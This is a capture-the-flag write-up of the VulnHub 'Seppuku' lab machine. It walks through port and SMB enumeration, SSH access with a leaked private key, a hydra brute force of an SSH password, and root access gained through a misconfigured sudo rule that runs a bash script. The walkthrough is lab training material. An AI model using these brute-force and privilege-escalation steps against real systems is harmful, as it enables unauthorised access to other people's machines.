Contents

VulnHub | Seppuku

Box Information

Name: Seppuku_CTF
Release Date: 13 May 2020
OS: Linux
Difficulty: Intermediate->Hard
Creator: SunCSR Team
Download: VulnHub

Initial Recon

nmap

Using nmap we see open TCP ports, 21 (FTP), 22 (SSH), 80 (nginx HTTP), 139/445 (SMB), 8088 (LiteSpeed HTTP)

PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
8088/tcp open  radan-http

There were also additional ports revealed in a full port (-p-) scan and one is another webserver on port 7601:

7080/tcp open  empowerid
7601/tcp open  unknown

SMB Enumeration

Knowing that there’s SMB on this system we can use a tool like enum4linux to try and get something. This tool is “loud” but because we’re not concerned with our footprint, it’s safe to use in this case. There are many ways of enumerating SMB (nmap scripts, smbmap, nbtscan, etc).

users

Using enum4linux, we were able to determine the existence of several user accounts on this machine:

S-1-22-1-1000 Unix User\seppuku (Local User)
S-1-22-1-1001 Unix User\samurai (Local User)
S-1-22-1-1002 Unix User\tanto (Local User)

I tried using these user names with smbmap to try and see if we could see some shares that we could potentially access/connect to - but there was nothing that didn’t require authentication. So for now, we’re putting SMB on hold while we look elsewhere.

Web Servers

port 80

When trying to access the IP on port 80, we’re met with a basic HTTP authentication prompt that restricts us from viewing the page. However, there were several other ports running HTTP services.

port 7601

I’m able to access the page on this port, it’s just an image with no other useful HTML or path hints. So I ran gobuster to try and brute force some directories:

kali@kali:~/tools/192.168.136.90/nmap$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://192.168.136.90:7601/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.136.90:7601/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/06/05 13:16:59 Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 281]
/.htaccess            (Status: 403) [Size: 281]
/.htpasswd            (Status: 403) [Size: 281]
/a                    (Status: 301) [Size: 319] [--> http://192.168.136.90:7601/a/]
/b                    (Status: 301) [Size: 319] [--> http://192.168.136.90:7601/b/]
/c                    (Status: 301) [Size: 319] [--> http://192.168.136.90:7601/c/]
/ckeditor             (Status: 301) [Size: 326] [--> http://192.168.136.90:7601/ckeditor/]
/d                    (Status: 301) [Size: 319] [--> http://192.168.136.90:7601/d/]
/database             (Status: 301) [Size: 326] [--> http://192.168.136.90:7601/database/]
/e                    (Status: 301) [Size: 319] [--> http://192.168.136.90:7601/e/]
/f                    (Status: 301) [Size: 319] [--> http://192.168.136.90:7601/f/]
/h                    (Status: 301) [Size: 319] [--> http://192.168.136.90:7601/h/]
/index.html           (Status: 200) [Size: 171]
/keys                 (Status: 301) [Size: 322] [--> http://192.168.136.90:7601/keys/]
/production           (Status: 301) [Size: 328] [--> http://192.168.136.90:7601/production/]
/q                    (Status: 301) [Size: 319] [--> http://192.168.136.90:7601/q/]
/r                    (Status: 301) [Size: 319] [--> http://192.168.136.90:7601/r/]
/secret               (Status: 301) [Size: 324] [--> http://192.168.136.90:7601/secret/]
/server-status        (Status: 403) [Size: 281]
/t                    (Status: 301) [Size: 319] [--> http://192.168.136.90:7601/t/]
/w                    (Status: 301) [Size: 319] [--> http://192.168.136.90:7601/w/]

There are a few directories that stick out as good starting points for us:

  • /ckeditor
  • /database
  • /keys
  • /production
  • /secret

We could try looking at all of them but really, secret and keys are the first things I’m going to look into.

/keys

By navigating to this directory on the port 7601 server, we see two files “private” and “private.bak”

/images/vh/seppuku/keys.png

They’re private RSA keys, but we’d need to know a username that it goes with. However, remember earlier when we enumerated SMB, we were able to extract 3 users from this system: seppuku, samurai, and tanto. We could try these usernames to see if any of them allow us to SSH into the box.

SSH and Foothold

We have an SSH key, and 3 users it could potentially belong to. The next thing I did was try this key with different usernames to see if any would stick and allow us SSH access into this machine.

seppuku

kali@kali:~$ ssh -i sep seppuku@192.168.136.90
The authenticity of host '192.168.136.90 (192.168.136.90)' can't be established.
ECDSA key fingerprint is SHA256:RltTwzbYqqcBz4/ww5KEokNttE+fZwM7l4bvzFaf558.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.136.90' (ECDSA) to the list of known hosts.
seppuku@192.168.136.90's password:

samurai

kali@kali:~$ ssh -i sep samurai@192.168.136.90
samurai@192.168.136.90's password:

tanto

kali@kali:~$ ssh -i sep tanto@192.168.136.90
Linux seppuku 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
tanto@seppuku:~$

NICE.

First Flag

tanto User

Normally our flag would be in the home directory of the user account we used to gain our foothold:

tanto@seppuku:~$ ls -al
total 28
drwxr-xr-x 4 tanto tanto 4096 Sep  1  2020 .
drwxr-xr-x 5 root  root  4096 May 13  2020 ..
-rw-r--r-- 1 tanto tanto  220 May 13  2020 .bash_logout
-rw-r--r-- 1 tanto tanto 3526 May 13  2020 .bashrc
drwx------ 3 tanto tanto 4096 May 13  2020 .gnupg
-rw-r--r-- 1 tanto tanto  807 May 13  2020 .profile
drwxr-xr-x 2 tanto tanto 4096 May 13  2020 .ssh

But it’s not here. Not a big deal. We know the first flag is always a file called “local.txt” so we can just search for it.

Find…ing our prize.

When you run a command like find in linux, it tends to generate a LOT of “Permission denied” errors like this:

tanto@seppuku:~$ find / -name "local.txt"
find: ‘/root’: Permission denied
find: ‘/etc/ssl/private’: Permission denied
find: ‘/usr/local/lsws/phpbuild’: Permission denied
find: ‘/usr/local/lsws/admin/conf’: Permission denied
find: ‘/usr/local/lsws/admin/tmp’: Permission denied
find: ‘/usr/local/lsws/admin/cgid’: Permission denied
find: ‘/usr/local/lsws/conf’: Permission denied
find: ‘/usr/local/lsws/tmp/ocspcache’: Permission denied
find: ‘/usr/local/lsws/cgid’: Permission denied
find: ‘/lost+found’: Permission denied
find: ‘/tmp/lshttpd/swap’: Permission denied
find: ‘/tmp/vmware-root_388-599887931’: Permission denied
find: ‘/tmp/systemd-private-9012a15016804c549f6be1c76ce1a543-systemd-timesyncd.service-W7CixR’: Permission denied
find: ‘/tmp/systemd-private-9012a15016804c549f6be1c76ce1a543-apache2.service-bVq1hc’: Permission denied
find: ‘/sys/kernel/debug’: Permission denied
find: ‘/sys/fs/pstore’: Permission denied
find: ‘/sys/fs/bpf’: Permission denied

To get around this, we can send all errors, 2, to /dev/null which essentially eliminates them from showing up on the standard output. You can read about it a little, here.

Find…ing our prize (but for real).

tanto@seppuku:~$ find / -name "local.txt" 2>/dev/null
/home/seppuku/local.txt

Much better, so from there we can just cat it out and we’re done with the first half of owning this box.

Further Recon

So I think I wasn’t necessarily supposed to access this tanto user account first… Since the flag was in seppuku’s home directory, it tells me I should try gaining access to that user account. So let’s go back to our website on port 7601.

/secret

Okay back on the webserver, we can navigate to this directory and see a few files.

/images/vh/seppuku/secret.png

The hostname file just says “seppuku” and there are backups (.bak) of a shadow and passwd file but looking at them shows a user account called “rabbit-hole” so… yeah… ignoring those for now. The last two interesting files are a picture, jack.jpg and a password list, password.lst. Since we know tanto can be accessed with that ssh key, we can take an educated guess (from the Jack the Ripper pic) that one of the last two accounts, seppuku and samurai, is supposed to be brute forced using this password list. Instead of using Jack/John, we can just use hydra built in module to brute force an ssh login like this (we’ll start with seppuku since it was listed in that hostname file):

kali@kali:~$ hydra -l seppuku -P ~/password.lst 192.168.136.90 ssh
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-06-05 13:57:55
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 93 login tries (l:1/p:93), ~6 tries per task
[DATA] attacking ssh://192.168.136.90:22/
[22][ssh] host: 192.168.136.90   login: seppuku   password: eeyoree
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-06-05 13:58:10

seppuku User

With the password we got from hydra, let’s SSH again into this machine and see what else we can find. Once we’re back onto the box with the seppuku user, we can do some more enumeration:

seppuku@seppuku:~$ ls -al
total 32
drwxr-xr-x 3 seppuku seppuku 4096 Sep  1  2020 .
drwxr-xr-x 5 root    root    4096 May 13  2020 ..
-rw-r--r-- 1 seppuku seppuku  220 May 13  2020 .bash_logout
-rw-r--r-- 1 seppuku seppuku 3526 May 13  2020 .bashrc
drwx------ 3 seppuku seppuku 4096 May 13  2020 .gnupg
-rw-r--r-- 1 seppuku seppuku   33 Jun  5 12:46 local.txt
-rw-r--r-- 1 root    root      20 May 13  2020 .passwd
-rw-r--r-- 1 seppuku seppuku  807 May 13  2020 .profile

Can we Sudo?

On tanto we didn’t have a password to check for sudo -l but on this account we are able to see something interesting:

seppuku@seppuku:~$ sudo -l
...
User seppuku may run the following commands on seppuku:
    (ALL) NOPASSWD: /usr/bin/ln -sf /root/ /tmp/

This command allows us to make a symbolic link of the /root directory to /tmp So running sudo /usr/bin/ln -sf /root/ /tmp/ allows us to essentially browse whatever is in /root by looking in /tmp. However, even after making the symbolic link we can’t access what we need (proof.txt aka the flag). So let’s keep going with other stuff we can check.

.passwd

We already got local.txt earlier (oops), but we also can see this .passwd file and when we cat it out,

seppuku@seppuku:~$ cat .passwd
12345685213456!@!@A

We’ve gained access to 2 of the 3 user accounts on this machine, so let’s just see if that string is by chance the password to our last user account, samurai.

seppuku@seppuku:~$ su samurai
Password:
samurai@seppuku:/home/seppuku$

samurai User

Can we Sudo?

samurai@seppuku:/home/seppuku$ sudo -l
...
User samurai may run the following commands on seppuku:
    (ALL) NOPASSWD: /../../../../../../home/tanto/.cgi_bin/bin /tmp/*

This is… interesting, because we just ran a command on seppuku that created a symbolic link to /tmp from the /root directory. But when we try running it,

samurai@seppuku:/home/seppuku$ sudo /../../../../../../home/tanto/.cgi_bin/bin /tmp/*
sudo: /../../../../../../home/tanto/.cgi_bin/bin: command not found

Okay, so we need a bin executable in tanto home directory that is inside a .cgi-bin folder. Our path to root is clear at this point but let’s reflect a little.

What do we need to do?

Let’s take a moment to pause here and think about everything we’ve discovered, and how we can use all of our knowledge to form a plan to gain root access to this box.

.cgi_bin/bin

We know that whatever binary we make will run at ROOT level privilege thanks to Sudo. So it would make sense to just have a simple script that invokes a bash shell under those privileges. Something simple like /bin/bash should work. However, we need to swap back to the tanto user to make the directories and files we need. Once we’ve crafted the binary, we grant full access globally (chmod 777). Then we call the binary from our samurai user.

Privilege Escalation

First thing we need to do is make the .cgi_bin directory on our tanto account and create that binary:

tanto@seppuku:~$ mkdir .cgi_bin
tanto@seppuku:~$ cd .cgi_bin/
tanto@seppuku:~/.cgi_bin$ touch bin
tanto@seppuku:~/.cgi_bin$ echo '
> /bin/bash' > bin
tanto@seppuku:~/.cgi_bin$ cat bin

/bin/bash
tanto@seppuku:~/.cgi_bin$

root User and Flag

At this point, the last step is to run that sudo command from samurai and we should have root access:

samurai@seppuku:/home/seppuku$ sudo /../../../../../../home/tanto/.cgi_bin/bin /tmp/*
root@seppuku:/home/seppuku# whoami && id
root
uid=0(root) gid=0(root) groups=0(root)
root@seppuku:/home/seppuku#

And we’re done! All that’s left is to do something like cat /root/*.txt to get our root flag.